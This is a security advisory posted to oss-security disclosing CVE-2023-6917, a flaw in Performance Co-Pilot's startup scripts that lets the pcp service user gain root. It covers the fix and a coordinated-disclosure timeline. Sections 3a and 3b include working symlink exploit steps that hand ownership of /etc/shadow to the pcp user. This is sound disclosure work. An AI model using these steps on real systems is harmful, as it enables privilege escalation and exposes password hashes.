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Date: Wed, 28 Feb 2024 12:33:19 +0100
From: Matthias Gerstner <mgerstner@...e.de>
To: oss-security@...ts.openwall.com
Subject: Performance Co-Pilot (pcp): Unsafe use of Directories in
/var/lib/pcp and /var/log/pcp breaks pcp Service User Isolation
(CVE-2023-6917)
Hello list,
this report is about a local pcp to root user exploit in the PCP
performance analysis toolkit. You can also find a rendered HTML version
of this report on our blog [1].
1) Introduction
===============
Performance Co-Pilot (pcp) [2] is a performance analysis toolkit
that allows to gather and evaluate data on a local system and also share this
data over the network in a distributed manner.
During routine reviews we noticed issues in pcp on Linux with directory
permissions that allow to locally escalate privileges from the _pcp_ service
user to _root_.
These findings are based on the 5.3.7 version release of pcp. CVE-2023-6917
has been assigned for this class of issues in pcp.
2) Service User And Directory Permissions
=========================================
The systemd services shipped with pcp run with mixed privileges. Some use only
limited _pcp_ user/group privileges, like "pmie_check.service". Others like
"pmcd.service" run with full root privileges. The `pmcd` daemon implements the
networking logic of pcp. It drops privileges from _root_ to _pcp_ during
startup.
The different pcp programs use a shared directory structure:
- /var/lib/pcp/tmp owned by `pcp:pcp` mode `0775`
- /var/log/pcp owned by `pcp:pcp` mode `0775`
When privileged processes running as _root_ access files in directories or
directory trees controlled by unprivileged users, then easily security issues
can result from this. For the directories listed above, we quickly found the
two exploitable issues that are described in the following sections.
3a) Startup Script for `pmcd` runs chown for `$PCP_TMP_DIR/pmlogger`
====================================================================
The "pmcd.service" runs with root privileges and executes the bash script
"/usr/libexec/pcp/lib/pmcd" (named "rc_pmcd" in the Git source repository).
Within this script the following code [5] runs as part of the
start routine, found in function `_reboot_setup()`:
if [ ! -d "$PCP_TMP_DIR/pmlogger" ]
then
mkdir -p -m 775 "$PCP_TMP_DIR/pmlogger"
chown $PCP_USER:$PCP_GROUP "$PCP_TMP_DIR/pmlogger"
if which restorecon >/dev/null 2>&1
then
restorecon -r "$PCP_TMP_DIR"
fi
else
`$PCP_TMP_DIR` in this context refers to "/var/lib/pcp/tmp", owned by `pcp:pcp`
mode `0775`. Since the shell code above does not exit on errors, a compromised pcp
user doesn't even have to win a race condition to perform a symlink attack.
The following exploit works:
# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp $ cd /var/lib/pcp/tmp
pcp $ rm -r pmlogger
pcp $ ln -s /etc/shadow pmlogger
pcp $ exit
root # systemctl start pcmd.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec 7 15:47 /etc/shadow
3b) Startup Script for `pmproxy` runs chown in `$RUN_DIR`
=========================================================
The "pmproxy.service" runs with root privileges and executes the bash script
"/usr/libexec/pcp/lib/pmproxy" (named `rc_pmproxy` in the Git source
repository). Within this script the following code [6] runs as
part of the start (and other) routines:
# create directory which will serve as cwd
if [ ! -d "$RUNDIR" ]
then
mkdir -p -m 775 "$RUNDIR"
chown $PCP_USER:$PCP_GROUP "$RUNDIR"
fi
`$RUN_DIR` in this context refers to "/var/log/pcp/pmproxy". "/var/log/pcp" is
owned by `pcp:pcp` mode `0775`. Similar to the exploit described in section
3a), no race condition has to be won to exploit this:
# simulate a compromised pcp user
root # sudo -u pcp -g pcp bash
pcp $ cd /var/log/pcp
pcp $ rm -rf pmproxy
pcp $ ln -s /etc/shadow pmproxy
pcp $ exit
root # systemctl start pmproxy.service
root # ls -l /etc/shadow
-rw-r----- 1 pcp pcp 1.2K Dec 7 15:47 /etc/shadow
4) Summary
==========
We only picked two of the more obvious security issues that result from _root_
processes operating on these pcp owned directories. There are likely more
issues of the same class lingering in the pcp scripts that run as _root_. Given
this, the user separation of _pcp_ can be considered nonexistent in its
current form, and the _pcp_ user should be treated equal to _root_.
The _pcp_ service user is also used for the network facing `pmcd` component,
thus these issues strongly impact defense in depth for pcp, for the scenario
when an attacker finds a way to exploit the network daemon.
5) Bugfix
=========
Upstream performed a wider redesign of the privilege separation handling in
pcp components. The pull request [3] corresponding to this contains a
large number of commits. It is difficult to isolate any simple patches
from that.
In our Bugzilla bug [4] that tracks this issue, I attempted to identify
the subset of commits relevant to this issue, to help with backporting.
6) Timeline
===========
2023-12-13: I reported the findings to pcp-maintainers@...ups.io offering coordinated disclosure.
2023-12-14: The Red Hat Security Team was added to the discussion.
2023-12-15: After some initial disagreement whether this qualifies as an actual security issue, an agreement was found that it is a change of security scope and deserves a CVE assignment.
2023-12-15: An upstream author suggested mid of February as a publication date, for which time a release for pcp had been planned anyway.
2023-12-18: Red Hat Security assigned CVE-2023-6917 to track the issue(s).
2024-01-01: Upstream discussed some initial changes to address the issue(s) in the mail thread and I tried to give some feedback about them.
2024-02-20: Communication about the publication process died down, and I learned from our packager that the Pull Request [3] containing the fixes had already been public for some time. It seems no clear embargo had been established for the coordinated release, there had been contradicting statements.
2024-02-27: After verifying with the upstream authors that publication is okay I finalized my report and published all information.
7) References
=============
[1]: https://security.opensuse.org/2024/02/27/pcp-user-to-root-exploit.html
[2]: https://pcp.io
[3]: https://github.com/performancecopilot/pcp/pull/1873
[4]: https://bugzilla.suse.com/show_bug.cgi?id=1217826#c24
[5]: https://github.com/performancecopilot/pcp/blob/5.3.7/src/pmcd/rc_pmcd#L134
[6]: https://github.com/performancecopilot/pcp/blob/5.3.7/src/pmproxy/rc_pmproxy#L264
--
Matthias Gerstner <matthias.gerstner@...e.de>
Security Engineer
https://www.suse.com/security
GPG Key ID: 0x14C405C971923553
SUSE Software Solutions Germany GmbH
HRB 36809, AG Nürnberg
Geschäftsführer: Ivo Totev, Andrew McDonald, Werner Knoblich
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